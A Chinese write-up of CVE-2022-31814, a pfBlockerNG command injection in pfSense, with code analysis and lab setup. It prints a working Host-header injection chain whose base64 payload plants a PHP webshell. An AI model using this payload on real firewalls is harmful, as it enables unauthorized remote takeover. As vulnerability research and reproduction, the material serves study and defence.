PfSense pfBlockerNG 未授权RCE漏洞(CVE-2022-31814)
PfSense pfBlockerNG 未授权RCE漏洞(CVE-2022-31814)
概述
PfSense系统的插件pfBlockerNG引起的未授权RCE漏洞
pfSense是一个基于FreeBSD操作系统开发的防火墙和路由器软件
FreeBSD 是一种类UNIX操作系统
【资料图】
pfBlockerNG是一个pfSense的插件(默认不安装),提供了广告、恶意内容和地理拦截功能。
版本
pfSense 2.6.0
pfBlockerNG<=2.1.4_26
漏洞代码分析
位置/usr/local/www/pfblockerng/www/index.php有如下代码:
// Query DNSBL(邮件黑名单) Alias for Domain List.$query = str_replace(".", "\.", htmlspecialchars($_SERVER["HTTP_HOST"])); exec("/usr/bin/grep -l " \"{$query} 60 IN A" /var/db/pfblockerng/dnsblalias/*", $match);
$_SERVER["HTTP_HOST"]是一个用户可控的输入,攻击者通过host 头来修改该参数
即/usr/bin/grep -l " "[用户可控] 60 IN A" /var/db/pfblockerng/dnsblalias/*
/usr/bin/grep
/usr/bin/grep "要匹配的字符串" "文件的路径"
-l, --files-with-matches print only names of FILEs containing matches,打印仅包含匹配项字符串的文件名
用法如下图:
拼接命令
验证payload可行性
/usr/bin/grep -l " \"" *; sleep 5 ;"60 IN A" /var/db/pfblockerng/dnsblalias/*
可见start response timer时间延迟了约5s
本地执行命令测试如下图
默认情况下,pfSense中没有安装“base64-d”二进制文件,但python3.8安装了,因此,我们能够编写和解码base64有效载荷,并将所有内容传输到php-cli二进制文件中:
测试的php代码
base64编码
PD9waHAgZWNobygiSEVMTCIpPz4K
python解码
python -m base64 -d
然后传输到php
| php
拼接起来的命令为:
/usr/bin/grep -l " \"" *;echo "PD9waHAgZWNobygiSEVMTCIpPz4K"|python3.8 -m base64 -d|php ;"60 IN A" /var/db/pfblockerng/dnsblalias/*
结果如图,成功解析php代码并输出了HELL
构造后门
php代码:
";fwrite($a,$t);fclose($a);?>
passthru函数
php端
$path="python 脚本绝对路径/脚本文件名.py "; //注意:末尾要加一个空格,否则传参失败$params = "要传入python脚本的参数"; //传递给python脚本的入口参数passthru($path.$params." ".$params2);
python端
import sysparams = sys.argv[1] #即为获取到的PHP传入python的接口参数
通过以上即可实现php通过passthru函数来调用执行Python脚本
base64编码
PD9waHAgJGE9Zm9wZW4oIi91c3IvbG9jYWwvd3d3L3N5c3RlbV9hZHZhbmNlZF9jb250cm9sLnBocCIsInciKSBvciBkaWUoKTskdD0nPD9waHAgcHJpbnQocGFzc3RocnUoICRfR0VUWyJjIl0pKTs/Pic7ZndyaXRlKCRhLCR0KTtmY2xvc2UoICRhKTs/Pgo=
拼接起来的命令为:
/usr/bin/grep -l " \"" *;echo "PD9waHAgJGE9Zm9wZW4oIi91c3IvbG9jYWwvd3d3L3N5c3RlbV9hZHZhbmNlZF9jb250cm9sLnBocCIsInciKSBvciBkaWUoKTskdD0nPD9waHAgcHJpbnQocGFzc3RocnUoICRfR0VUWyJjIl0pKTs/Pic7ZndyaXRlKCRhLCR0KTtmY2xvc2UoICRhKTs/Pgo="|python3.8 -m base64 -d|php ;"60 IN A" /var/db/pfblockerng/dnsblalias/*
成功注入
在网站上访问该木马文件,成功getshell
最后拿ihteam的脚本跑一下,成功rce
漏洞环境搭建
新建虚拟机,选择FreeBSD
配置如下,直接使用从官网下好的pfsense的iso文件
打开然后默认enter
安装好重启后,选2配置LAN的ip,配好后如下图:
然后浏览器直接输入192.168.153.139即可访问web界面
输入默认账户admin/pfsense完成登录
进入后选择配置向导
配置网络
到第四步配置如下:
后面默认,然后成功上网
启动SSH服务
系统-高级选项-管理员访问-安全shell下
启用安全ssh和允许代理转发的启用ssh-代理转发支持。然后xshell连接对应ip地址,用户是root即可连接
安装python开发环境
[2.6.0-RELEASE][root@pfSense.home.arpa]/etc/pkg: pkg search pythonfrr7-pythontools-7.5.1_3 Provide configuration reload functionality for FRRpy38-gitpython-3.1.24 Python Git Librarypython38-3.8.12_1 Interpreted object-oriented programming langua[2.6.0-RELEASE][root@pfSense.home.arpa]/etc/pkg: pkg install python38-3.8.12_1
试了python,python3,python38都没找到指令
最后进入/usr/local/bin目录下查看,发现是python3.8,如下图
配置pfBlockerNG插件
插件管理里搜索pfBlockerNG安装,只找到3.2.0_3版本的,先装上
github上找到2.1.4_26版本的pfBlockerNG插件
https://github.com/pfsense/FreeBSD-ports/tree/devel/net
https://github.com/pfsense/FreeBSD-ports/commit/b57e24307dd32679f55dd7e38dc29910168886a4
然后点进对应版本的freebsd-port下载
解压zip包的net/pfsense-pkg-pfBlockerNG,找到pfBlockerNG的index.php文件
ps:因为漏洞只出现在该文件中,所以直接把2.1.4_26版本的index.php文件下载下来上传到防火墙系统里覆盖已安装的3.2.0_3版本的index.php就行
在这个地方上传文件
成功上传返回路径
然后打开命令行,使新上传的index.php文件直接覆盖3.2.0_3版本的
mv /tmp/index.php /usr/local/www/pfblockerng/www/index.php
参考链接
PfSense pfBlockerNG 未授权RCE漏洞(CVE-2022-31814)
PHP通过passthru()函数实现与python脚本的交互
payload:pfBlockerNG 2.1.4_26 - 远程代码执行 (RCE) - PHP 网络应用程序漏洞利用 (exploit-db.com)
开源防火墙pfSense的安装及初始化
pfsense配置网络
标签:
推荐文章
- PfSense pfBlockerNG 未授权RCE漏洞(CVE-2022-31814)
- 第8批国家集采药品平均降价56%
- Enliven Therapeutics(ELVN.US)获杰富瑞投资银行首次覆盖,给予买入评级-环球即时
- 北京出让集体用地建共有产权房,对外销售房价2.9万 天天讯息
- 每日讯息!美原油交易策略:油价初步攻克21日均线,空头还有机会吗?
- 短讯!人社部:截至3月22日 春风行动累计发布岗位3520万个
- 抖音在成都成立互动数字技术公司 注册资本1000万_天天日报
- 思瑞浦盘中异动 股价振幅达7.24% 上涨7.54%
- 每日资讯:qq微信网页版登陆不上去_qq微信网页版登陆
- 消息称vivo将整合iQOO品牌 不再有独立的门店、柜台
- 蔡英文将“过境窜美”,你怎么看?
- 美枪支暴力痼疾危害青少年
- 韦斯·安德森新片《小行星城》曝首张海报 又是熟悉的豪华阵容
- 城区小学课题组开展“舌尖上的萍乡”寻访制作活动 全球观天下
- 【手慢无】错过悔一生!罗技M221无线鼠标只要71元还包邮
- 照片合成视频软件华为_照片合成视频软件
- 【ES三周年】腾讯云Elasticsearch Service基础知识,进阶使用以及优化方式_环球快播
- 环球百事通!3月28日龙虎榜:2.57亿抢筹四川长虹 机构净买15股
- 龙软科技:2022年净利同比增26.9%,拟10派3.4元 全球热推荐
- 【全球时快讯】26层楼的蟑螂是从哪里出来的?
- 北京:新建公共机构建筑、园区、厂房屋顶光伏覆盖率不低于50%
- 2023年广州居住证补办条件 重点聚焦
- 2023年中国智慧出行行业发展分析与投资前景预测报告
- 什么是cpu 快来了解cpu有什么样的功能以及有哪些参数 聚看点
- 截图!长按保存分享!Cocos Creator_环球热头条
- 微动态丨私自种植罂粟100余株 民警上门劝解后才知违法了
- 中泰证券:给予爱柯迪买入评级 滚动
- 今日关注:开滦集团钱家营矿业公司 通过国家首批智能化示范煤矿验收
- 未成年充值游戏的钱能报警处理吗
- 孝歌十字歌十二月孝歌_孝歌
- 中国队获得1金1银
- 3月27日基金净值:财通科技创新混合A最新净值1.0357,涨0.37%_每日热点
- 今日播报!膨胀的山姆代购:搬空货架,月入 10 万
- 今头条!意天空:对阵佛罗伦萨,巴斯托尼、迪马尔科和戈森斯预计会复出
- 家居五金业迎顶流代言,NUOMI诺米携唐嫣双向赋能高端市场
- 网易云音乐TV版登陆极氪009,车内空间也能享受视听盛宴-焦点简讯
- 全球球精选!联学联建聚青声 互学互鉴开新篇丨这场青年团建很有爱!
- 三大上市险企年报披露,保险业亟待复苏
- 【报资讯】高性价比的纯电SUV,东风风行雷霆正式上市 售价12.99万起
- 美前检察官:特朗普刚刚在纽约犯下“新罪行” 或面临新诉讼|今日热搜
- 全球新动态:你的孩子未来优不优秀,取决于孩子这三个成长期你的“养育态度” | 精选
- 人们欠网贷不还会坐牢吗?网贷还不上怎么办?|环球播报
- 陶瓷膜技术用于生物医药生产中的分离纯化-天天观速讯
- 天天播报:这车真不错|新的更强?旧的更好?我选择了新款宝马325i
- 一级消防工程师考试科目哪个难(一级消防工程师考试科目有哪些)
- 上海警方通报一公交车滑入河道:疑似驾驶员操作不当 环球实时
- 苹果官方网站_苹果手机官网首页 全球短讯
- 一招破解文字密码!《说文解字》怎么做到的?
- 2022年度全国十大考古新发现丨聚焦夏商周三代 探寻何以中国
- 国际羽联关注苏杯C组大乱斗!日韩印泰争小组第一,国羽以逸待劳-当前速读
- 世界观丨揭秘!英国援乌“贫铀弹”竟有如此骇人黑历史 世界焦点
- 世界新动态:涂口红正确方法
- 天天热讯:本山带谁上春晚第一季_本山带谁上春晚2
- 观速讯丨小区安全责任承诺书中乙方的义务是哪些
最新资讯
- 环球观天下!郑永年建言高质量发展:关键在于“跨越中等技术陷阱”
- 伦敦是哪个国家的
- 湖南机电职院学子研发散装物料智能封装设备 破解企业生产难题_快播报
- 调查研究应“细嚼慢咽”调出“真滋味” 世界快看点
- 第一宇宙速度第二宇宙速度第三宇宙速度简介(第一第二第三宇宙速度介绍)
- 花生酱拌面的做法
- 中国(北京)高新视听产业园版权工作站揭牌 世界热点评
- 世界热议:两大热门cp是否会在今年的微博之夜同台呢!
- 【独家】促甲状腺受体抗体低说明什么原因_促甲状腺激素受体抗体高是什么原因
- 环球观速讯丨怎样合理膳食
- 上交所做市债券成交量大增,后续将扩基准做市债券范围|新视野
- 环球观热点:喜达屋创始人批评美联储加息:压路机碾苍蝇
- 甘肃清水:春雪缀山峦 云海绘仙境_快资讯
- 杭州临平:荷禹路“樱花大道”花开正盛-全球快讯
- 喝啤酒会发胖吗?_喝啤酒会发胖吗
- 大宗交易:楚天科技成交1786万元,折价1.33%(03-24)
- 天天观热点:手机msn在哪里下载
- 环球焦点!所得税会计分录怎么做(当汇错款时该怎么做)
- 环球即时看!农村人居环境整治工作擦亮乡村振兴最美“底色”
- 泸溪县委党校:新课试讲促提升 人才培养谋新篇 世界热头条
- 韩媒:“30岁前生三胎的父亲可免兵役”,韩撤回争议计划 全球微动态
- 速递!汇通集团:3333.33万股IPO限售股将于2023年1月3日起解禁上市
- 天天热点评!中国第一村华西村为什么会破产
- 广州松田职业学院简介_广州松田职业学院资料是什么|世界聚焦
- 【全球速看料】治疗股骨头坏死的中药_股骨头坏死中药秘方
- tvb43周年台庆搞笑_tvb43周年台庆 全球播报
- cost是什么意思用法(cost是什么意思)|世界今头条
- 每日时讯!福建永安论坛网_福建永安论坛
- 环球今亮点!4d是什么意思呢_4d是什么意思
- 全球看热讯:炉石传说瓦斯琪女士怎么打
- 天天新动态:中辉期货焦煤焦炭日报20230323:需求侧周度数据延续弱势,双焦短期随成材端震荡偏弱
- 要闻:拱墅推出“百千万”行动 护航孩子阳光成长
- 热议国足0-0新西兰:下半场表现更好 国足没压力又像正常球队了
- 世界观丨大风暴来了!谁为美国银行危机买单?
- 杭州人对好天气的要求已经这样低了?明起气温下降明显,“富得流油”的日子暂告一段落-环球播报
- 拉斐尔简介_天天速讯
- 华发股份保住“千亿”规模 少数股东权益与损益严重失衡-环球观热点
- “知产”变“资产” 知识产权“变现” 推动企业成长
- 时讯:339家上市公司已披露年报 近七成计划分红
- 科林电气:3月22日融资买入932.85万元,融资融券余额1.24亿元_世界信息
- 无线鼠标不灵敏怎么办
- 锌合金和铝合金哪个好一点(锌合金和铝合金哪个好)
- 世界球精选!在干燥的秋冬季节水分是必不可少的
- 云南将开展新能源生产安全专项整治,涉及多家锂电头部企业-环球热讯
- 博鳌零碳示范区开始“试验” 全球热讯
- 跤怎么组词 短讯
- 中国03式主战_03式坦克
- 众安在线2022年净亏13.56亿元 健康、数字生活生态保费贡献度最高
- 海口经济学院电影学院与商学院联合聘任法制院长_环球快资讯
- 世界快讯:中交铁建建设集团批复成立